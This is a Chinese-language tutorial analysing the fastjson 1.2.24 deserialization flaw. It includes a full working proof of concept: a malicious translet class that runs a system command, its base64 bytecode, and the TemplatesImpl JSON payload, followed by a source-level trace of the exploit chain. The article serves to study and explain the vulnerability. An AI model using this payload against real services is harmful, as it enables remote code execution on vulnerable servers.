您好,登錄后才能下訂單哦!
這篇文章主要介紹“java安全fastjson1.2.24反序列化TemplatesImpl實例分析”的相關知識,小編通過實際案例向大家展示操作過程,操作方法簡單快捷,實用性強,希望這篇“java安全fastjson1.2.24反序列化TemplatesImpl實例分析”文章能幫助大家解決問題。
漏洞環境:
fastjson1.2.24
jdk1.7.80
新建一個maven項目在pom.xml文件中引入fastjson的依賴:
<dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency>
fastjson是alibaba開源的一個用于處理json數據格式的解析庫,它支持將java對象解析成json字符串格式的數據,也可以將json字符串還原成java對象。不難看出,java對象轉換成json數據就是序列化操作,而將json數據還原成java對象就是反序列化過程。
現在我們來看一下fastjson序列化過程,定義一個pojo類:
public class Student { private String name; private int age; public Student() { System.out.println(" method: Student() "); } public Student(String name , int age) { System.out.println(" method: Student(String name , int age) "); this.name = name; this.age = age; } public String getName() { System.out.println(" method: getName() "); return name; } public int getAge() { System.out.println(" method: getAge() "); return age; } public void setName(String name) { System.out.println(" method: setName() "); this.name = name; } public void setAge(int age) { System.out.println(" method setAge() "); this.age = age; } }
示例程序:
public class FastjsonTest1 { public static void main(String[] args) { Student student = new Student("zhangsan" , 3); String jsonString = JSON.toJSONString(student); System.out.println(jsonString); } }
執行結果如下:
method: Student(String name , int age)
method: getAge()
method: getName()
{"age":3,"name":"zhangsan"}
fastjson調用toJSONString方法將Student對象轉換成json字符串數據的過程中會調用對象的getter方法。
另外toJSONString方法在進行序列化時還可以指定一個可選的SerializerFeature.WriteClassName參數,指定了該參數后,在序列化時json數據中會寫入一個@type選項,
如下所示:
json數據中的@type選項用于指定反序列化的類,也就是說所,當這段json數據被反序列化時,會按照@type選項中指定的類全名反序列化成java對象。
fastjson提供了兩個反序列化函數:parseObject和parse,我們通過示例程序來看一下fastjson的反序列化過程
方式一調用了parseObject方法將json數據反序列化成java對象,并且在反序列化過程中會調用對象的setter和getter方法。
方式二調用了parseObject方法進行反序列化,并且指定了反序列化對象Student類,parseObject方法會將json數據反序列化成Student對象,并且在反序列化過程中調用了Student對象的setter方法。
方式三調用了parse方法將json數據反序列化成java對象,并且在反序列化時調用了對象的setter方法。
關于Feature.SupportNonPublicField參數:
以上這三種方式在進行反序列化時都會調用對象的構造方法創建對象,并且還會調用對象的setter方法,如果私有屬性沒有提供setter方法時,那么還會正確被反序列化成功嗎?為了驗證這個猜想,現在我們把Student對象的私有屬性name的setter方法去掉。
從程序執行結果來看,私有屬性name并沒有被正確反序列化,也就是說fastjson默認情況下不會對私有屬性進行反序列化。
如果需要將私有屬性反序列化時,就可以調用parseObject方法指定Feature.SupportNonPublicField參數,
如下所示:
方式一反序列化時沒有指定Feature.SupportNonPublicField參數,私有屬性name沒有反序列化時沒有值,方式二和方式三指定了Feature.SupportNonPublicField參數后,私有屬性name可以正確被反序列化。
在上一小節中我們知道fastjson在進行反序列化時會調用目標對象的構造,setter,getter等方法,如果這些方法內部進行了一些危險的操作時,那么fastjson在進行反序列化時就有可能會觸發漏洞。
我們通過一個簡單的案例來說明fastjson反序列化漏洞原理
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.serializer.SerializerFeature; import java.io.IOException; /** * @auther songly_ * @data 2021/8/23 15:27 */ //定義一個惡意類TestTempletaHello class TestTempletaHello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } } public class FastjsonTest1 { public static void main(String[] args) { //創建惡意類的實例并轉換成json字符串 TestTempletaHello testTempletaHello = new TestTempletaHello(); String jsonString = JSON.toJSONString(testTempletaHello, SerializerFeature.WriteClassName); System.out.println(jsonString); //將json字符串轉換成對象 Object obj = JSON.parse(jsonString); System.out.println(obj); } }
在這個示例程序中先是構造了一個惡意類,然后調用toJSONString方法序列化對象寫入@type,將@type指定為一個惡意的類TestTempletaHello的類全名,當調用parse方法對TestTempletaHello類進行反序列化時,會調用惡意類的構造方法創建實例對象,因此惡意類TestTempletaHello中的靜態代碼塊中就會被執行。
執行結果如下:
在實際場景中很多類沒有這么明顯的可以產生漏洞的代碼,往往需要攻擊者自己想方設法通過一些操作(例如反射,類加載,一些危險的函數)來構造一個漏洞利用環境。
在學習CC2利用鏈的時候我們分析了一個基于TemplatesImpl類的利用鏈,該類會把_bytecodes屬性的字節碼內容加載并實例化,關于TemplatesImpl類的利用鏈的具體介紹可參考CC2利用鏈。
fastjson1.2.24的反序列化漏洞也是基于TemplatesImpl類來構造利用鏈,思路如下:
1. 構造一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist字節碼編程將惡意類TempletaPoc轉換成字節碼并進行base64編碼。
2. 然后構造TemplatesImpl類的json數據,將TempletaPoc類的字節碼設置到_bytecodes屬性中,當json數據在還原成TemplatesImpl對象時會加載_bytecodes屬性中的TempletaPoc類并實例化,從而觸發漏洞。
定義一個惡意類TempletaPoc繼承AbstractTranslet類,通過javassist將惡意類TempletaPoc轉換成字節碼,然后進行base64編碼
package com.fastjson.pojo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class TempletaPoc extends AbstractTranslet { //構造RCE代碼 static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
最終的poc代碼:
package com.fastjson; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.Feature; import com.alibaba.fastjson.parser.ParserConfig; import com.alibaba.fastjson.serializer.SerializerFeature; import com.fastjson.pojo.Student; import com.fastjson.pojo.TempletaPoc; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.security.utils.Base64; import javassist.*; import java.io.IOException; /** * @auther songly_ */ public class FastjsonTest1 { public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException { //惡意類TempletaPoc轉換成字節碼,base64編碼 String byteCode = "yv66vgAAADEAMgoACAAiCgAjACQIACUKACMAJgcAJwoABQAoBwApBwAqAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB9MY29tL2Zhc3Rqc29uL3Bvam8vVGVtcGxldGFQb2M7AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACsBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEAClNvdXJjZUZpbGUBABBUZW1wbGV0YVBvYy5qYXZhDAAJAAoHACwMAC0ALgEABGNhbGMMAC8AMAEAE2phdmEvaW8vSU9FeGNlcHRpb24MADEACgEAHWNvbS9mYXN0anNvbi9wb2pvL1RlbXBsZXRhUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAQAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAPAA0AAAAMAAEAAAAFAA4ADwAAAAEAEAARAAIACwAAAD8AAAADAAAAAbEAAAACAAwAAAAGAAEAAAAbAA0AAAAgAAMAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAFAAVAAIAFgAAAAQAAQAXAAEAEAAYAAIACwAAAEkAAAAEAAAAAbEAAAACAAwAAAAGAAEAAAAfAA0AAAAqAAQAAAABAA4ADwAAAAAAAQASABMAAQAAAAEAGQAaAAIAAAABABsAHAADABYAAAAEAAEAFwAIAB0ACgABAAsAAABUAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAIADAAAABYABQAAABMACQAWAAwAFAANABUAEQAXAA0AAAAMAAEADQAEAB4AHwAAAAEAIAAAAAIAIQ=="; //構造TemplatesImpl的json數據,并將惡意類注入到json數據中 final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"; String payload = "{\"@type\":\"" + NASTY_CLASS + "\",\"_bytecodes\":[\""+byteCode+"\"]," + "'_name':'TempletaPoc'," + "'_tfactory':{}," + "\"_outputProperties\":{}}\n"; System.out.println(payload); //反序列化 Object object = JSON.parseObject(payload,Feature.SupportNonPublicField); } }
這里解釋一下payload的構造:
@type:當fastjson根據json數據對TemplatesImpl類進行反序列化時,會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈加載_bytecodes屬性中的TempletaPoc類字節碼并實例化,執行RCE代碼。
_bytecodes:前面已經介紹過了,主要是承載惡意類TempletaPoc的字節碼。
_name:關于_name屬性,在調用TemplatesImpl利用鏈的過程中,會對_name進行不為null的校驗,因此_name的值不能為null(具體可參考CC2利用鏈)
_tfactory:在調用TemplatesImpl利用鏈時,defineTransletClasses方法內部會通過_tfactory屬性調用一個getExternalExtensionsMap方法,如果_tfactory屬性為null則會拋出異常,無法根據_bytecodes屬性的內容加載并實例化惡意類
outputProperties:json數據在反序列化時會調用TemplatesImpl類的getOutputProperties方法觸發利用鏈,可以理解為outputProperties屬性的作用就是為了調用getOutputProperties方法。
漏洞利用成功,接下來我們分析一下parseObject方法是如何觸發漏洞的
參數features是一個可變參數,parseObject方法底層實際上是調用了parse方法進行反序列化,并且將反序列化的Object對象轉成了JSONObject
public static JSONObject parseObject(String text, Feature... features) { return (JSONObject) parse(text, features); }
parse方法會循環獲取可變參數features中的值,然后繼續調用parse方法
public static Object parse(String text, Feature... features) { int featureValues = DEFAULT_PARSER_FEATURE; for (Feature feature : features) { featureValues = Feature.config(featureValues, feature, true); } return parse(text, featureValues); }
分析parse方法:
public static Object parse(String text, int features) { if (text == null) { return null; } //將json數據放到了一個DefaultJSONParser對象中 DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features); //然后調用parse方法解析json Object value = parser.parse(); parser.handleResovleTask(value); parser.close(); return value; }
parse方法創建了一個JSONObject對象存放解析后的json數據,而parseObject方法作用就是把json數據的內容反序列化并放到JSONObject對象中,JSONObject對象內部實際上是用了一個HashMap來存儲json。
public Object parse(Object fieldName) { final JSONLexer lexer = this.lexer; switch (lexer.token()) { //省略部分代碼...... case LBRACE: //創建一個JSONObject對象 JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField)); //parseObject方法 return parseObject(object, fieldName); //省略部分代碼...... } }
繼續跟進parseObject方法;
public final Object parseObject(final Map object, Object fieldName) { //省略部分代碼...... //從json中提取@type key = lexer.scanSymbol(symbolTable, '"'); //省略部分代碼...... //校驗@type if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { //提取type對應的值 String typeName = lexer.scanSymbol(symbolTable, '"'); //然后根據typeName進行類加載 Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader()); if (clazz == null) { object.put(JSON.DEFAULT_TYPE_KEY, typeName); continue; } } //省略部分代碼...... //然后將class對象封裝成ObjectDeserializer對象 ObjectDeserializer deserializer = config.getDeserializer(clazz); //然后調用deserialze方法進行反序列化 return deserializer.deserialze(this, clazz, fieldName); }
parseObject方法主要是從json數據中提取@type并進行校驗是否開啟了autoType功能,接著會調用loadClass方法加載@type指定的TemplatesImpl類,然后將TemplatesImpl類的class對象封裝到ObjectDeserializer 中,然后調用deserialze方法進行反序列化。
我們來看一下deserializer的內容,如下圖所示:
TemplatesImpl類的每個成員屬性封裝到deserializer的fieldInfo中了。
然后調用了deserialze方法,該方法中的參數如下所示:
deserialze方法內部的代碼邏輯實在是太復雜了,內部有大量的校驗和if判斷,這里只是簡單的分析了大概的邏輯,這些已經足夠我們理解TemplatesImpl的利用鏈了,后期深入分析fastjson的防御機制,以及在構造payload如何繞過校驗機制時,再深入分析deserialze方法分析fastjson的解析過程做了哪些事情,目前我們先把TemplatesImpl的利用鏈搞清楚再說。
protected <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName, Object object, int features) { //省略部分代碼...... //調用createInstance方法實例化 if (object == null && fieldValues == null) { object = createInstance(parser, type); if (object == null) { fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length); } childContext = parser.setContext(context, object, fieldName); } //省略部分代碼...... //調用parseField方法解析json boolean match = parseField(parser, key, object, type, fieldValues); }
我們只分析deserialze方法中的部分核心代碼,deserialze方法內部主要是調用了createInstance方法返回一個object類型的對象(也就是TemplatesImpl對象),然后調用了parseField方法解析屬性字段。
parseField方法:
public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代碼...... FieldDeserializer fieldDeserializer = smartMatch(key); //SupportNonPublicField選項 final int mask = Feature.SupportNonPublicField.mask; //if判斷會校驗SupportNonPublicField選項 if (fieldDeserializer == null && (parser.lexer.isEnabled(mask) || (this.beanInfo.parserFeatures & mask) != 0)) { //獲取TemplatesImpl對象的屬性信息 } //省略部分代碼...... //調用parseField方法解析字段 fieldDeserializer.parseField(parser, object, objectType, fieldValues); return true; }
parseField方法內部會對參數features中的SupportNonPublicField選項進行校驗,這個if判斷主要是獲取TemplatesImpl對象的所有非final或static的屬性,如果fastjson調用parseObject方法時沒有設置SupportNonPublicField選項的話,就不會進入這個if判斷,那么fastjson在進行反序列化時就不會觸發漏洞。
校驗完SupportNonPublicField選項后,調用parseField方法解析TemplatesImpl對象的屬性字段,先來看一下parseField方法的參數
parseField方法主要會做以下事情,調用fieldValueDeserilizer的deserialze方法將json數據中每個屬性的值都提取出來放到value 中,然后調用setValue方法將value的值設置給object。
@Override public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) { //省略部分代碼...... //解析json中的數據(將每個屬性的值還原) value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name); //省略部分代碼...... setValue(object, value); }
可以看到deserialze方法將json數據中的_bytecodes值提取出來進行base64解碼存放到value中,接著調用setValue方法將value設置給object(即TemplatesImpl對象的_bytecodes)。
繼續跟進fieldValueDeserilizer的deserialze方法
public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) { //省略部分代碼...... if (lexer.token() == JSONToken.LITERAL_STRING) { //調用了bytesValue方法 byte[] bytes = lexer.bytesValue(); lexer.nextToken(JSONToken.COMMA); return (T) bytes; } //省略部分代碼...... }
deserialze方法內部調用了bytesValue方法。
bytesValue方法內部調用了確實對json數據中的_bytecodes值進行了base64解碼
前面我們說過json數據中的outputProperties的作用是觸發TemplatesImpl利用鏈的
觸發漏洞的關鍵就在于當fastjson調用setValue方法將json數據中的outputProperties的值設置給TemplatesImpl對象時會觸發漏洞,調用TemplatesImpl類的getOutputProperties方法。
繼續分析setValue方法是如何觸發漏洞的
public void setValue(Object object, Object value){ //首先校驗value是否為null if (value == null // && fieldInfo.fieldClass.isPrimitive()) { return; } try { //根據outputProperties屬性獲取對應的方法 Method method = fieldInfo.method; if (method != null) { if (fieldInfo.getOnly) { if (fieldInfo.fieldClass == AtomicInteger.class) { AtomicInteger atomic = (AtomicInteger) method.invoke(object); if (atomic != null) { atomic.set(((AtomicInteger) value).get()); } } else if (fieldInfo.fieldClass == AtomicLong.class) { AtomicLong atomic = (AtomicLong) method.invoke(object); if (atomic != null) { atomic.set(((AtomicLong) value).get()); } } else if (fieldInfo.fieldClass == AtomicBoolean.class) { AtomicBoolean atomic = (AtomicBoolean) method.invoke(object); if (atomic != null) { atomic.set(((AtomicBoolean) value).get()); } } else if (Map.class.isAssignableFrom(method.getReturnType())) { //反射調用getOutputProperties方法 Map map = (Map) method.invoke(object); if (map != null) { map.putAll((Map) value); } } else { Collection collection = (Collection) method.invoke(object); if (collection != null) { collection.addAll((Collection) value); } } } else { method.invoke(object, value); } return; } } //省略部分代碼...... }
setValue方法對value進行了不為null的校驗,然后解析_outputProperties(json中的_outputProperties被封裝到了fieldInfo中)。
fastjson會將屬性的相關信息封裝到fieldInfo中,具體信息如下:
然后判斷method中的getOutputProperties的返回值是否為Map,為什么是通過Map接口的class對象來判斷?因為Properties實現了Map接口,因此這個判斷滿足條件會通過反射調用TemplatesImpl對象的getOutputProperties方法。
關于getOutputProperties方法的調用
不知道大家有沒有思考過fastjson是如何獲取到getOutputProperties方法的?原因在于parseField方法內部調用了JavaBeanDeserializer類的smartMatch方法
smartMatch方法會將json中的_outputProperties中的下劃線去掉,替換成outputProperties并封裝到fieldInfo中,我們知道fastjson在反序列化過程中會調用屬性的getter方法,因此這里還會將outputProperties屬性的getter方法也封裝到fieldInfo中的method當中。
public FieldDeserializer smartMatch(String key) { //省略部分代碼...... if (fieldDeserializer == null) { boolean snakeOrkebab = false; String key2 = null; for (int i = 0; i < key.length(); ++i) { char ch = key.charAt(i); //是否有"_"特殊字符串 if (ch == '_') { snakeOrkebab = true; //把_字符串替換為空 key2 = key.replaceAll("_", ""); break; } else if (ch == '-') { snakeOrkebab = true; key2 = key.replaceAll("-", ""); break; } } if (snakeOrkebab) { fieldDeserializer = getFieldDeserializer(key2); if (fieldDeserializer == null) { for (FieldDeserializer fieldDeser : sortedFieldDeserializers) { if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2)) { fieldDeserializer = fieldDeser; break; } } } } } //省略部分代碼...... }
我們貌似... 大概知道了getOutputProperties方法是如何獲取的,繼續思考一下:fastjson在反序列化過程中具體是如何調用屬性的getter方法的?
答案是JavaBeanInfo類中有一個build方法,當通過@type獲取TemplatesImpl類的calss對象后,會通過反射獲取該類的class對象的所有方法并封裝到Method數組中。然后通過for循環遍歷Method獲取getter方法,并將outputProperties屬性和getter方法(getOutputProperties方法)一起封裝到FieldInfo,從代碼中確實可以看到add方法會將FieldInfo放到了一個fieldList中,然后將fieldList封裝到JavaBeanInfo
getter方法的查找方式需要滿足以下幾個條件:
方法名長度不小于4
必須是非靜態方法
必須get字符串開頭,并且第四個字符為大寫字母
方法中不能有參數
返回值繼承自Collection || Map || AtomicBoolean || AtomicInteger ||AtomicLong
在getter方法中不能有setter方法
這樣一來自然就獲取到了getOutputProperties( )方法,當setValue方法從FieldInfo獲取到outputProperties屬性和getOutputProperties方法并反射調用getOutputProperties方法就會觸發TemplatesImpl利用鏈。
getOutputProperties方法內部調用了newTransformer方法
public synchronized Properties getOutputProperties() { try { //調用newTransformer方法 return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null; } }
newTransformer方法內部調用了getTransletInstance方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; //調用了getTransletInstance方法 transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true); } return transformer; }
getTransletInstance方法內部會對_name和_class進行不為null校驗, 我們構造的payload沒有_class,因此這里_class為null會調用defineTransletClasses方法加載_bytecodes屬性的類字節碼(加載TempletaPoc類)。
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null; //調用defineTransletClasses方法 if (_class == null) defineTransletClasses(); //根據_class實例化類 AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); }
跟進defineTransletClasses方法:
private void defineTransletClasses() throws TransformerConfigurationException { //校驗_bytecodes if (_bytecodes == null) { ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { //通過_tfactory調用getExternalExtensionsMap方法 return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class[classCount]; if (classCount > 1) { _auxClasses = new Hashtable(); } for (int i = 0; i < classCount; i++) { //加載_bytecodes中的類(TempletaPoc) _class[i] = loader.defineClass(_bytecodes[i]); //獲取TempletaPoc的父類 final Class superClass = _class[i].getSuperclass(); // Check if this is the main class //是否繼承了AbstractTranslet類 if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0) { ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException(err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException(err.toString()); } }
defineTransletClasses方法內部會加載_bytecodes中的類字節碼數據(加載TempletaPoc類),并且會校驗TempletaPoc類是否繼承了AbstractTranslet類。然后返回到getTransletInstance方法中,調用newInstance方法實例化TempletaPoc類執行RCE代碼。
關于“java安全fastjson1.2.24反序列化TemplatesImpl實例分析”的內容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業相關的知識,可以關注億速云行業資訊頻道,小編每天都會為大家更新不同的知識點。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。